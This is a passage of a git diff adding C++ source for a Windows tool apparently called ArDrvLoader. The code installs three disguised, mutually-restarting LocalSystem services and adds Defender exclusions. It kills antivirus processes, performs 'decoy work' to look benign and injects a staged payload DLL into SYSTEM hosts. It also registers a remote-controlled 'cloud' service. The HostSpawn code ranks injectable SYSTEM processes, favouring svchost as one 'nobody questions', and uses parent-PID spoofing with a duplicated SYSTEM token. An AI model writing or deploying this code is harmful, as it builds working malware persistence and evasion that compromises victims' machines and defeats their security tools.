CloseHandle(userToken); + } + } + + if (!launched) + { + STARTUPINFOW si{}; + si.cb = sizeof(si); + + PROCESS_INFORMATION pi{}; + + BOOL ok = CreateProcessW( + nullptr, + cmd.data(), + nullptr, + nullptr, + FALSE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + if (ok) + { + launched = true; + launchedPid = pi.dwProcessId; + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else + { + Log(L"[-] Start target failed: %lu", GetLastError()); + } + } + + if (launched) + Log(L"[+] Target started: PID %lu", launchedPid); + + if (locked) + ReleaseMutex(mutex); + if (mutex) + CloseHandle(mutex); + + return launched; +} + +static bool StartServiceLocal(const std::wstring& name, bool enableIfDisabled, DWORD desiredStartType) +{ + if (name.empty()) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW( + scm, + name.c_str(), + SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_CHANGE_CONFIG); + + if (!svc) + { + Log(L"[-] OpenService(%s) failed: %lu", name.c_str(), GetLastError()); + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (running) + { + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; + } + + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_DISABLED && enableIfDisabled) + { + ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + desiredStartType, + SERVICE_NO_CHANGE, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + StartServiceW(svc, 0, nullptr); + e = GetLastError(); + } + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + { + Log(L"[-] StartService(%s) failed: %lu", name.c_str(), e); + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return false; + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; +} + +static bool CheckGuard(const GuardConfig& cfg) +{ + bool ok = true; + + if (!cfg.targetService.empty()) + { + if (!IsServiceRunning(cfg.targetService.c_str())) + { + Log(L"[guard] service %s is not running, starting", cfg.targetService.c_str()); + ok = StartServiceLocal(cfg.targetService, false, cfg.desiredStartType) && ok; + } + } + + if (!cfg.targetPath.empty()) + { + if (!IsTargetProcessRunning(cfg)) + { + Log(L"[guard] program is not running, starting: %s", cfg.targetPath.c_str()); + ok = StartTargetProcess(cfg) && ok; + } + } + + return ok; +} + +static bool CheckRepair(const GuardConfig& cfg) +{ + if (!cfg.targetService.empty()) + { + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW( + scm, + cfg.targetService.c_str(), + SERVICE_QUERY_CONFIG | + SERVICE_CHANGE_CONFIG | + SERVICE_QUERY_STATUS | + SERVICE_START); + + if (!svc) + { + Log(L"[-] Repair: OpenService(%s) failed: %lu", cfg.targetService.c_str(), GetLastError()); + CloseServiceHandle(scm); + return false; + } + + DWORD needed = 0; + QueryServiceConfigW(svc, nullptr, 0, &needed); + + DWORD startType = SERVICE_DEMAND_START; + + if (needed > 0) + { + std::vector buf(needed); + LPQUERY_SERVICE_CONFIGW qsc = (LPQUERY_SERVICE_CONFIGW)buf.data(); + + if (QueryServiceConfigW(svc, qsc, needed, &needed)) + startType = qsc->dwStartType; + } + + if (startType == SERVICE_DISABLED) + { + Log(L"[repair] service %s is disabled, enabling", cfg.targetService.c_str()); + + if (ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + cfg.desiredStartType, + SERVICE_NO_CHANGE, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr)) + { + Log(L"[repair] service %s start type changed", cfg.targetService.c_str()); + } + else + { + Log(L"[-] Repair: ChangeServiceConfig failed: %lu", GetLastError()); + } + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + Log(L"[-] Repair: StartService(%s) failed: %lu", cfg.targetService.c_str(), e); + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; + } + + if (!cfg.targetPath.empty()) + { + if (!IsTargetProcessRunning(cfg)) + { + Log(L"[repair] program is not running, starting: %s", cfg.targetPath.c_str()); + return StartTargetProcess(cfg); + } + } + + return true; +} + +// Each role keeps the other two services alive. SCM failure actions only fire +// on crashes, so a manual "sc stop" or a disabled service would otherwise leave +// the stack dead. +static void EnsurePeerRunning(const std::wstring& name, const std::wstring& self) +{ + if (name.empty() || _wcsicmp(name.c_str(), self.c_str()) == 0) + return; + + if (IsServiceRunning(name.c_str())) + return; + + Log(L"[watchdog] peer %s is not running, starting", name.c_str()); + + if (!StartServiceLocal(name, true, SERVICE_AUTO_START)) + Log(L"[-] watchdog: cannot start peer %s", name.c_str()); +} + +// Plausible background activity: refresh a small state cache and read a couple +// of unrelated service states. Cheap, harmless, and it means the process does +// something other than watch one target. +static void DoDecoyWork(const GuardConfig& cfg) +{ + wchar_t module[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len > 0 && len < _countof(module)) + { + std::wstring path = module; + size_t slash = path.find_last_of(L"\\/"); + + if (slash != std::wstring::npos) + path = path.substr(0, slash); + + path += L"\\cache.dat"; + + HANDLE h = CreateFileW( + path.c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_HIDDEN, + nullptr); + + if (h != INVALID_HANDLE_VALUE) + { + SYSTEMTIME st{}; + GetLocalTime(&st); + + char line[128]{}; + int n = sprintf_s( + line, + "role=%ls state=%04u-%02u-%02u %02u:%02u:%02u\r\n", + cfg.role.c_str(), + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond); + + if (n > 0) + { + DWORD written = 0; + WriteFile(h, line, (DWORD)n, &written, nullptr); + } + + CloseHandle(h); + } + } + + static const wchar_t* probe[] = { L"BITS", L"DsmSvc", L"wuauserv" }; + + for (const wchar_t* name : probe) + IsServiceRunning(name); +} + +static int RunRoleLoop(const GuardConfig& base, HANDLE stopEvent) +{ + bool firstTick = true; + + // Stagger the three roles so they do not wake up in lockstep. + DWORD stagger = 0; + + if (_wcsicmp(base.role.c_str(), L"driver") == 0) + stagger = 1500 + (GetTickCount() % 1500); + else if (_wcsicmp(base.role.c_str(), L"guard") == 0) + stagger = 4000 + (GetTickCount() % 2000); + else + stagger = 8000 + (GetTickCount() % 2500); + + if (stopEvent) + WaitForSingleObject(stopEvent, stagger); + else + Sleep(stagger); + + while (true) + { + if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0) + break; + + GuardConfig cfg = LoadRuntimeConfig(base); + + DoDecoyWork(cfg); + + if (_wcsicmp(cfg.role.c_str(), L"driver") == 0) + { + // Budget is enforced in memory as well as in the registry, so a + // crash loop stops even when the counter cannot be persisted. + static bool failsLoaded = false; + static DWORD fails = 0; + + if (!failsLoaded) + { + fails = LoadDriverFailCount(); + failsLoaded = true; + } + + if (fails >= cfg.driverFailMax) + { + static bool warned = false; + + if (!warned) + { + Log(L"[driver] failure budget exhausted (%lu/%lu), not retrying", + fails, cfg.driverFailMax); + + SaveDriverState(L"disabled-after-failures"); + warned = true; + } + } + else + { + const bool ok = EnsureDriverRunning(cfg); + + if (ok) + { + if (fails != 0) + { + fails = 0; + SaveDriverFailCount(0); + SaveDriverState(L"ok"); + } + } + else + { + ++fails; + SaveDriverFailCount(fails); + SaveDriverState(L"failed"); + + Log(L"[driver] load failed (%lu/%lu)", fails, cfg.driverFailMax); + } + } + + EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName); + EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName); + } + else if (_wcsicmp(cfg.role.c_str(), L"guard") == 0) + { + // Recovery after a crash, a bugcheck, or a reboot lands here: the + // service is auto-start, so the first tick reinstates state. + if (firstTick) + { + if (DefenderPresent()) + { + std::vector wanted = LoadExclusionList(); + + if (wanted.empty()) + { + wanted = DefaultExclusionPaths(); + SaveExclusionList(wanted); + } + + std::wstring exclReport; + ApplyExclusions(wanted, exclReport); + Log(L"[guard] exclusions on start: %s", exclReport.c_str()); + } + + if (cfg.killAvOnStart != 0) + { + std::wstring summary; + KillAVProcessesEx(false, summary); + Log(L"[guard] AV sweep on start: %s", summary.c_str()); + } + } + + CheckGuard(cfg); + + // Host stager: only acts when a payload has been injected before, + // and only re-injects after the previous host died. + if (LoadHostTrack().Tracked()) + EnsureHostInjected(); + + // Stage payload: if the DLL is deployed, keep it alive in a host. + if (!StageDllPath().empty() && !StageAlive()) + StageEnsure(); + + EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName); + EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName); + } + else if (_wcsicmp(cfg.role.c_str(), L"repair") == 0) + { + CheckRepair(cfg); + EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName); + EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName); + } + else + { + Log(L"[-] Unknown service role: %s", cfg.role.c_str()); + return 1; + } + + DWORD wait = cfg.intervalMs; + if (wait < 1000) + wait = 1000; + + if (stopEvent) + { + if (WaitForSingleObject(stopEvent, wait) == WAIT_OBJECT_0) + break; + } + else + { + Sleep(wait); + } + + firstTick = false; + } + + return 0; +} + +static void ReportGuardStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0) +{ + if (!g_guardStatusHandle) + return; + + static DWORD checkPoint = 1; + + g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_guardStatus.dwCurrentState = state; + g_guardStatus.dwWin32ExitCode = exitCode; + g_guardStatus.dwWaitHint = waitHint; + g_guardStatus.dwControlsAccepted = + (state == SERVICE_RUNNING) + ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN + : 0; + + if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING) + g_guardStatus.dwCheckPoint = checkPoint++; + else + g_guardStatus.dwCheckPoint = 0; + + SetServiceStatus(g_guardStatusHandle, &g_guardStatus); +} + +static DWORD WINAPI GuardCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context) +{ + (void)eventType; + (void)eventData; + (void)context; + + switch (control) + { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + + if (g_guardStopEvent) + SetEvent(g_guardStopEvent); + + return NO_ERROR; + + case SERVICE_CONTROL_INTERROGATE: + return NO_ERROR; + + default: + return ERROR_CALL_NOT_IMPLEMENTED; + } +} + +static VOID WINAPI GuardServiceMain(DWORD argc, LPWSTR* argv) +{ + (void)argc; + (void)argv; + + g_guardStatusHandle = RegisterServiceCtrlHandlerExW( + g_guardServiceName.c_str(), + GuardCtrlHandler, + nullptr); + + if (!g_guardStatusHandle) + return; + + g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_guardStatus.dwCurrentState = SERVICE_START_PENDING; + g_guardStatus.dwControlsAccepted = 0; + g_guardStatus.dwWin32ExitCode = NO_ERROR; + g_guardStatus.dwWaitHint = 5000; + + g_guardStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr); + + if (!g_guardStopEvent) + { + ReportGuardStatus(SERVICE_STOPPED, GetLastError()); + return; + } + + ReportGuardStatus(SERVICE_RUNNING); + + Log(L"[guard] service started role=%s name=%s", + g_guardBaseConfig.role.c_str(), + g_guardServiceName.c_str()); + + RunRoleLoop(g_guardBaseConfig, g_guardStopEvent); + + ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + + if (g_guardStopEvent) + { + CloseHandle(g_guardStopEvent); + g_guardStopEvent = nullptr; + } + + Log(L"[guard] service stopped name=%s", g_guardServiceName.c_str()); + ReportGuardStatus(SERVICE_STOPPED); +} + +int RunGuardService(int argc, wchar_t** argv) +{ + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -service driver|guard|repair [options]\n"); + return 1; + } + + GuardConfig cfg; + cfg.role = argv[2]; + + if (_wcsicmp(cfg.role.c_str(), L"driver") != 0 && + _wcsicmp(cfg.role.c_str(), L"guard") != 0 && + _wcsicmp(cfg.role.c_str(), L"repair") != 0) + { + wprintf(L"Unknown role: %s\n", cfg.role.c_str()); + return 1; + } + + if (!ParseGuardArgs(argc, argv, 3, cfg)) + { + wprintf(L"Invalid arguments\n"); + return 1; + } + + if (cfg.serviceName.empty()) + cfg.serviceName = DefaultServiceNameForRole(cfg.role); + + g_guardServiceName = cfg.serviceName; + g_guardBaseConfig = cfg; + + if (cfg.console) + return RunRoleLoop(cfg, nullptr); + + SERVICE_TABLE_ENTRYW table[] = + { + { const_cast(g_guardServiceName.c_str()), GuardServiceMain }, + { nullptr, nullptr } + }; + + if (!StartServiceCtrlDispatcherW(table)) + { + DWORD e = GetLastError(); + + if (e == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) + { + wprintf(L"Service mode must be started by SCM. Use --console for direct execution.\n"); + } + + return (int)e; + } + + return 0; +} + +// Stops one of our own services before replacing its binary. +static void StopServiceForUpgrade(const std::wstring& name) +{ + if (name.empty()) + return; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + + if (!scm) + return; + + SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); + + if (svc) + { + SERVICE_STATUS st{}; + + if (ControlService(svc, SERVICE_CONTROL_STOP, &st)) + { + for (int i = 0; i < 50; ++i) + { + SERVICE_STATUS q{}; + + if (!QueryServiceStatus(svc, &q) || q.dwCurrentState == SERVICE_STOPPED) + break; + + Sleep(100); + } + } + + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); +} + +// Copies this executable into the chosen install directory so the service does +// not run out of Downloads, Temp, or a user profile. +static bool InstallSelfCopy(const std::wstring& targetDir, std::wstring& installedPathOut) +{ + installedPathOut.clear(); + + CreateDirectoryW(targetDir.c_str(), nullptr); + + wchar_t module[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len == 0 || len >= _countof(module)) + return false; + + std::wstring source = module; + size_t slash = targetDir.find_last_of(L"\\/"); + std::wstring leaf = (slash == std::wstring::npos) ? targetDir : targetDir.substr(slash + 1); + + std::wstring target = targetDir + L"\\" + leaf + L".exe"; + + if (_wcsicmp(source.c_str(), target.c_str()) == 0) + { + installedPathOut = target; + return true; + } + + // A service that was just stopped can keep its image mapped for a moment. + // Retry instead of failing the whole install on a sharing violation. + for (int attempt = 0; attempt < 20; ++attempt) + { + if (CopyFileW(source.c_str(), target.c_str(), FALSE)) + break; + + DWORD err = GetLastError(); + + if (err != ERROR_SHARING_VIOLATION && + err != ERROR_ACCESS_DENIED && + err != ERROR_USER_MAPPED_FILE) + { + wprintf(L"[!] Cannot copy to %s (%lu)\n", target.c_str(), err); + return false; + } + + if (attempt == 19) + { + wprintf(L"[!] Cannot copy to %s (%lu), gave up after retries\n", target.c_str(), err); + return false; + } + + Sleep(500); + } + + SetFileAttributesW(target.c_str(), FILE_ATTRIBUTE_NORMAL); + + installedPathOut = target; + return true; +} + +int InstallGuardServices(int argc, wchar_t** argv) +{ + GuardConfig cfg; + + if (!ParseGuardArgs(argc, argv, 2, cfg)) + { + wprintf(L"Invalid arguments\n"); + return 1; + } + + std::wstring prefix = cfg.prefix; + + std::wstring driverService = prefix.empty() ? L"DeviceSetupHost" : prefix + L"Driver"; + std::wstring guardService = prefix.empty() ? L"ProgramCompatHost" : prefix + L"Guard"; + std::wstring repairService = prefix.empty() ? L"ServiceStateHost" : prefix + L"Repair"; + + cfg.driverServiceName = driverService; + cfg.guardServiceName = guardService; + cfg.repairServiceName = repairService; + + wchar_t module[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len == 0 || len >= _countof(module)) + { + wprintf(L"Cannot resolve executable path\n"); + return 1; + } + + if (!cfg.targetPath.empty() && !FileExistsW(GetFullPathW(cfg.targetPath))) + wprintf(L"[!] Target not found yet: %s (guard will retry at runtime)\n", cfg.targetPath.c_str()); + + if (!cfg.targetService.empty()) + { + SC_HANDLE scmCheck = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + SC_HANDLE svcCheck = scmCheck + ? OpenServiceW(scmCheck, cfg.targetService.c_str(), SERVICE_QUERY_STATUS) + : nullptr; + + if (!svcCheck) + wprintf(L"[!] Target service not installed yet: %s (repair will retry at runtime)\n", cfg.targetService.c_str()); + + if (svcCheck) + CloseServiceHandle(svcCheck); + + if (scmCheck) + CloseServiceHandle(scmCheck); + } + + std::wstring installDir; + + if (cfg.keepLocation) + { + installDir = module; + size_t slash = installDir.find_last_of(L"\\/"); + + if (slash != std::wstring::npos) + installDir = installDir.substr(0, slash); + } + else if (!cfg.installDir.empty()) + { + installDir = cfg.installDir; + } + else + { + installDir = DefaultInstallDir(driverService); + } + + if (cfg.installDryRun) + { + wprintf(L"DRY-RUN install plan\n"); + wprintf(L" install dir: %s\n", installDir.c_str()); + wprintf(L" %s \"%s\"\n", driverService.c_str(), DisplayNameForRole(L"driver").c_str()); + wprintf(L" %s \"%s\"\n", guardService.c_str(), DisplayNameForRole(L"guard").c_str()); + wprintf(L" %s \"%s\"\n", repairService.c_str(), DisplayNameForRole(L"repair").c_str()); + wprintf(L" target: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str()); + return 0; + } + + if (!WriteInstalledConfig(cfg)) + { + wprintf(L"Cannot write HKLM\\%s\n", kConfigKey); + return 1; + } + + std::wstring installedExe; + + // The previous generation of services may still be holding the old binary + // open, which makes the copy fail. Stop ours first, then replace. + StopServiceForUpgrade(driverService); + StopServiceForUpgrade(guardService); + StopServiceForUpgrade(repairService); + + if (!cfg.cloudServiceName.empty()) + StopServiceForUpgrade(cfg.cloudServiceName); + else if (!cfg.cloudUrl.empty()) + StopServiceForUpgrade(L"CloudSyncHost"); + + if (!InstallSelfCopy(installDir, installedExe)) + { + wprintf(L"Cannot copy executable into %s\n", installDir.c_str()); + return 1; + } + + std::wstring exe = L"\""; + exe += installedExe; + exe += L"\""; + + auto imagePath = [&](const wchar_t* role, const std::wstring& serviceName) + { + std::wstring p = exe; + p += L" -service "; + p += role; + p += L" --service-name \""; + p += serviceName; + p += L"\""; + + if (cfg.allowVm) + p += L" --allow-vm"; + + return p; + }; + + bool startNow = !cfg.noStart; + + bool driverOk = EnsureLocalSystemService( + driverService.c_str(), + imagePath(L"driver", driverService).c_str(), + startNow, + true, + DisplayNameForRole(L"driver").c_str()); + + bool guardOk = EnsureLocalSystemService( + guardService.c_str(), + imagePath(L"guard", guardService).c_str(), + startNow, + true, + DisplayNameForRole(L"guard").c_str()); + + bool repairOk = EnsureLocalSystemService( + repairService.c_str(), + imagePath(L"repair", repairService).c_str(), + startNow, + true, + DisplayNameForRole(L"repair").c_str()); + + if (driverOk) + SetServiceDescription(driverService.c_str(), DescriptionForRole(L"driver").c_str()); + + if (guardOk) + SetServiceDescription(guardService.c_str(), DescriptionForRole(L"guard").c_str()); + + if (repairOk) + SetServiceDescription(repairService.c_str(), DescriptionForRole(L"repair").c_str()); + + bool cloudOk = true; + std::wstring cloudService; + + if (!cfg.cloudUrl.empty() && !cfg.cloudSecret.empty()) + { + cloudService = cfg.cloudServiceName.empty() ? L"CloudSyncHost" : cfg.cloudServiceName; + + std::wstring bin = exe; + bin += L" -cloud-service --service-name \""; + bin += cloudService; + bin += L"\" --url \""; + bin += cfg.cloudUrl; + bin += L"\" --secret \""; + bin += cfg.cloudSecret; + bin += L"\""; + + if (!cfg.cloudAgent.empty()) + { + bin += L" --agent \""; + bin += cfg.cloudAgent; + bin += L"\""; + } + + bin += L" --interval 15000"; + + if (cfg.allowVm) + bin += L" --allow-vm"; + + bin += L" --elevated"; + + cloudOk = EnsureLocalSystemService( + cloudService.c_str(), + bin.c_str(), + startNow, + true, + L"Cloud Sync Host"); + + if (cloudOk) + SetServiceDescription( + cloudService.c_str(), + L"Keeps cloud-managed configuration in sync with the local machine."); + + wprintf(L"Cloud service: %s %s\n", cloudService.c_str(), cloudOk ? L"OK" : L"FAIL"); + } + + wprintf(L"Driver service: %s %s\n", driverService.c_str(), driverOk ? L"OK" : L"FAIL"); + wprintf(L"Guard service: %s %s\n", guardService.c_str(), guardOk ? L"OK" : L"FAIL"); + wprintf(L"Repair service: %s %s\n", repairService.c_str(), repairOk ? L"OK" : L"FAIL"); + wprintf(L"Installed to: %s\n", installDir.c_str()); + wprintf(L"Target program: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str()); + wprintf(L"Target service: %s\n", cfg.targetService.empty() ? L"(not set)" : cfg.targetService.c_str()); + wprintf(L"Config key: HKLM\\%s\n", kConfigKey); + + return (driverOk && guardOk && repairOk && cloudOk) ? 0 : 1; +} + + + diff --git a/GuardService.h b/GuardService.h new file mode 100644 index 0000000..885b270 --- /dev/null +++ b/GuardService.h @@ -0,0 +1,11 @@ +#pragma once + +#include + +// Role-based service host: +// ArDrvLoader.exe -service driver|guard|repair [options] +int RunGuardService(int argc, wchar_t** argv); + +// Installs the driver / guard / repair services as LocalSystem auto-start services. +// ArDrvLoader.exe -install-guard-services [options] +int InstallGuardServices(int argc, wchar_t** argv); diff --git a/HostSpawn.cpp b/HostSpawn.cpp new file mode 100644 index 0000000..b5d559f --- /dev/null +++ b/HostSpawn.cpp @@ -0,0 +1,445 @@ +#include "Common.h" +#include "HostSpawn.h" +#include "Logger.h" + +#include +#include + +static std::wstring Lower(const std::wstring& s) +{ + std::wstring out = s; + + for (auto& c : out) + c = (wchar_t)towlower(c); + + return out; +} + +static std::wstring BaseName(const std::wstring& path) +{ + size_t slash = path.find_last_of(L"\\/"); + return slash == std::wstring::npos ? path : path.substr(slash + 1); +} + +static bool TokenIsSystem(HANDLE token) +{ + DWORD needed = 0; + GetTokenInformation(token, TokenUser, nullptr, 0, &needed); + + if (needed == 0) + return false; + + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (!GetTokenInformation(token, TokenUser, tu, needed, &needed)) + return false; + + LPWSTR sidStr = nullptr; + bool isSystem = false; + + if (ConvertSidToStringSidW(tu->User.Sid, &sidStr)) + { + isSystem = wcscmp(sidStr, L"S-1-5-18") == 0; + LocalFree(sidStr); + } + + return isSystem; +} + +static int ScoreImage(const std::wstring& imageName) +{ + const std::wstring n = Lower(imageName); + + // svchost is the ideal parent: dozens of them, SYSTEM, non-PPL for almost + // every hosted service, and a process tree nobody questions. + if (n == L"svchost.exe") + return 100; + + if (n == L"wudfhost.exe") + return 60; + + if (n == L"dllhost.exe") + return 50; + + if (n == L"searchprotocolhost.exe") + return 40; + + if (n == L"taskhostw.exe") + return 30; + + // Protected / high-risk images we still accept only if they are actually + // injectable, which they usually are not. + if (n == L"winlogon.exe" || n == L"services.exe" || n == L"lsass.exe" || + n == L"csrss.exe" || n == L"wininit.exe" || n == L"smss.exe") + { + return 0; + } + + return 10; +} + +std::vector EnumerateHosts(bool requireSystem) +{ + std::vector hosts; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return hosts; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (Process32First(snap, &pe)) + { + do + { + if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4) + continue; + + HostInfo info; + info.pid = pe.th32ProcessID; + info.imageName = pe.szExeFile; + + HANDLE query = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, info.pid); + + if (!query) + continue; + + wchar_t path[4096]{}; + DWORD len = _countof(path); + + if (QueryFullProcessImageNameW(query, 0, path, &len)) + info.imagePath.assign(path, len); + + HANDLE token = nullptr; + + if (OpenProcessToken(query, TOKEN_QUERY, &token)) + { + info.systemToken = TokenIsSystem(token); + CloseHandle(token); + } + + CloseHandle(query); + + if (requireSystem && !info.systemToken) + continue; + + DWORD session = 0; + + if (ProcessIdToSessionId(info.pid, &session)) + info.sessionId = session; + + // Injectable = we can get the rights a remote-thread injection + // needs. PPL processes refuse these even to SYSTEM. + HANDLE inj = OpenProcess( + PROCESS_CREATE_THREAD | + PROCESS_VM_OPERATION | + PROCESS_VM_WRITE | + PROCESS_VM_READ | + PROCESS_QUERY_INFORMATION | + PROCESS_CREATE_PROCESS, + FALSE, + info.pid); + + if (inj) + { + info.injectable = true; + CloseHandle(inj); + } + + info.score = ScoreImage(info.imageName) + (info.injectable ? 5 : 0); + + hosts.push_back(info); + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + + std::sort(hosts.begin(), hosts.end(), [](const HostInfo& a, const HostInfo& b) + { + if (a.score != b.score) + return a.score > b.score; + + return a.pid < b.pid; + }); + + return hosts; +} + +std::vector EnumerateSystemHosts() +{ + return EnumerateHosts(true); +} + +SpawnResult SpawnThroughHost( + const std::wstring& commandLine, + const std::wstring& preferredImage, + bool userSession, + bool requireSystem) +{ + SpawnResult result; + + if (commandLine.empty()) + { + result.error = L"empty command line"; + return result; + } + + std::vector hosts = EnumerateHosts(requireSystem); + + if (hosts.empty()) + { + result.error = L"no SYSTEM host process found (need admin or SYSTEM)"; + return result; + } + + auto isUsable = [&](const HostInfo& h) -> bool + { + if (requireSystem && !h.systemToken) + return false; + + if (!h.injectable) + return false; + + if (!preferredImage.empty() && + _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0) + { + return false; + } + + return true; + }; + + // Best injectable SYSTEM host, honouring the preferred image if given. + HostInfo* chosen = nullptr; + + for (auto& h : hosts) + { + if (isUsable(h)) + { + chosen = &h; + break; + } + } + + if (!chosen && !preferredImage.empty()) + { + // Preferred image exists but is not injectable: report that clearly + // instead of silently using something else. + for (const auto& h : hosts) + { + if (_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) == 0) + { + result.error = L"preferred host is not injectable (PPL or access denied): " + + h.imageName; + return result; + } + } + + result.error = L"preferred host not running: " + preferredImage; + return result; + } + + if (!chosen) + { + result.error = L"no injectable SYSTEM host process found"; + return result; + } + + result.hostImage = chosen->imagePath; + + HANDLE host = OpenProcess( + PROCESS_CREATE_PROCESS | PROCESS_QUERY_LIMITED_INFORMATION, + FALSE, + chosen->pid); + + if (!host) + { + result.error = L"OpenProcess(PROCESS_CREATE_PROCESS) failed: " + + std::to_wstring(GetLastError()); + return result; + } + + HANDLE hostToken = nullptr; + HANDLE primary = nullptr; + + if (OpenProcessToken(host, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hostToken)) + { + if (DuplicateTokenEx( + hostToken, + MAXIMUM_ALLOWED, + nullptr, + SecurityImpersonation, + TokenPrimary, + &primary)) + { + if (userSession) + { + DWORD session = WTSGetActiveConsoleSessionId(); + SetTokenInformation(primary, TokenSessionId, &session, sizeof(session)); + result.sessionId = session; + } + else + { + DWORD session = 0; + DWORD len = sizeof(session); + + if (GetTokenInformation(primary, TokenSessionId, &session, len, &len)) + result.sessionId = session; + } + } + } + + if (hostToken) + CloseHandle(hostToken); + + if (!primary) + { + CloseHandle(host); + result.error = L"cannot duplicate host token: " + std::to_wstring(GetLastError()); + return result; + } + + STARTUPINFOEXW si{}; + si.StartupInfo.cb = sizeof(si); + + SIZE_T attrSize = 0; + InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize); + + std::vector attrBuf(attrSize); + si.lpAttributeList = reinterpret_cast(attrBuf.data()); + + bool started = false; + + if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) + { + if (UpdateProcThreadAttribute( + si.lpAttributeList, + 0, + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + &host, + sizeof(host), + nullptr, + nullptr)) + { + if (userSession) + si.StartupInfo.lpDesktop = const_cast(L"winsta0\\default"); + + LPVOID env = nullptr; + CreateEnvironmentBlock(&env, primary, FALSE); + + std::wstring mutableCmd = commandLine; + PROCESS_INFORMATION pi{}; + + started = CreateProcessAsUserW( + primary, + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + FALSE, + EXTENDED_STARTUPINFO_PRESENT | CREATE_UNICODE_ENVIRONMENT, + env, + nullptr, + &si.StartupInfo, + &pi) != FALSE; + + if (started) + { + result.ok = true; + result.pid = pi.dwProcessId; + result.parentPid = chosen->pid; + result.method = L"host-token+ppid"; + + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else + { + result.error = L"CreateProcessAsUser failed: " + + std::to_wstring(GetLastError()); + } + + if (env) + DestroyEnvironmentBlock(env); + } + else + { + result.error = L"UpdateProcThreadAttribute failed: " + + std::to_wstring(GetLastError()); + } + + DeleteProcThreadAttributeList(si.lpAttributeList); + } + else + { + result.error = L"InitializeProcThreadAttributeList failed: " + + std::to_wstring(GetLastError()); + } + + CloseHandle(primary); + CloseHandle(host); + + Log(L"[host] spawn %s -> pid=%lu parent=%lu host=%s ok=%d %s", + commandLine.c_str(), + result.pid, + result.parentPid, + result.hostImage.c_str(), + result.ok ? 1 : 0, + result.error.c_str()); + + return result; +} + +std::wstring FormatHostList(const std::vector& hosts) +{ + std::wostringstream os; + + os << L"hosts=" << hosts.size(); + + size_t shown = 0; + + for (const auto& h : hosts) + { + if (shown >= 15) + { + os << L"\r\n ..."; + break; + } + + ++shown; + + os << 